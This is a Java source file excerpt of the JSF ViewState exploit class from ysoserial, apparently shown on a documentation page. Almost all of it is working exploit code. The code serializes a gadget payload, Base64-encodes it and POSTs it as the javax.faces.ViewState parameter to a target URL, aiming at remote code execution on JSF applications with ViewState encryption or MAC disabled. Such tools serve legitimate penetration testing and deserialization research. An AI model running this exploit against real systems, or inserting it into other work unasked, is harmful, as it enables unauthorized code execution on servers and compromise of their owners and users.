Class JSF

src/main/java/ysoserial/exploit/JSF.java:33–76

JSF view state exploit Delivers a gadget payload via JSF ViewState token. This will only work if ViewState encryption/mac is disabled. While it has been long known that client side state saving with encryption disabled leads to RCE via EL injection, this of course also works with deseria

 * @author mbechler
 */
public class JSF {

    public static void main(String[] args) {

        if (args.length < 3) {
            System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
            System.exit(-1);
        }

        final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);

        try {
            URL u = new URL(args[0]);

            URLConnection c = u.openConnection();
            if (!(c instanceof HttpURLConnection)) {
                throw new IllegalArgumentException("Not a HTTP url");
            }

            HttpURLConnection hc = (HttpURLConnection) c;
            hc.setDoOutput(true);
            hc.setRequestMethod("POST");
            hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
            OutputStream os = hc.getOutputStream();

            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(payloadObject);
            oos.close();
            byte[] data = bos.toByteArray();
            String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
            os.write(requestBody.getBytes("US-ASCII"));
            os.close();

            System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
        } catch (Exception e) {
            e.printStackTrace(System.err);
        }
        Utils.releasePayload(args[1], payloadObject);

    }


}